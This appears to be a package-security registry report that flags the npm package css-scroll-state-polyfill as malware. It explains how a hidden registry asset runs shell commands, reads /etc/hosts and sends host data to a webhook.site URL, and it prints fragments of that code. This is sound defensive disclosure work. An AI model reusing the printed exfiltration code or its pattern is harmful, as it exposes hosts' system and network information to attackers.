registry / Data exfiltration / css-scroll-state-polyfill
css-scroll-state-polyfill
Polyfill for CSS scroll-state container queries
This report shows the evidence for css-scroll-state-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source proves executable host-data exfiltration unrelated to a CSS polyfill. The empty default entrypoint limits activation but does not neutralize the published registry payload and its manifest loading route.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js directly or through the registry manifest in an environment providing the required runtime APIs.
Impact
Exposure of host identity, operating system information, network configuration and /etc/hosts contents.
Mechanism
The payload runs shell commands, reads host configuration and sends results through fetch to a fixed webhook; it also removes matching module cache entries.
Attack narrative
Loading the registry asset immediately activates a reconnaissance payload. Where child_process and fetch are available, it executes host inspection commands and forwards their results, including host configuration, to a fixed external webhook. The manifest supplies a loading route despite the empty default entrypoint. No explicit user gate protects this collection or transmission.
AI rationale
Inspected source proves executable host-data exfiltration unrelated to a CSS polyfill. The empty default entrypoint limits activation but does not neutralize the published registry payload and its manifest loading route.
Evidence
package.jsonthunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints2
webhook.site/0492a36c-4d7b-408a-865c-226db25987bastatic.parastorage.com/unpkg/css-scroll-state-polyfill@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a fixed webhook.site URL.
- The registry code executes identity, system and network commands and forwards their output.
- The registry code reads /etc/hosts and forwards up to 2,000 characters.
- registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js URL.
- package.json includes the registry payload and manifest in published files.
- The payload executes immediately when loaded, sends a runtime beacon and deletes matching module cache entries.
Evidence against
- The default index.js exports an empty object and does not load the payload.
- There are no lifecycle scripts; activation requires loading the registry asset.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-light-dark-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 6a67e904f4511d83
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-light-dark-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLWxpZ2h0LWRhcmstcG9seWZpbGw:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High2 Medium2 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-scroll-state-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-scroll-state-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.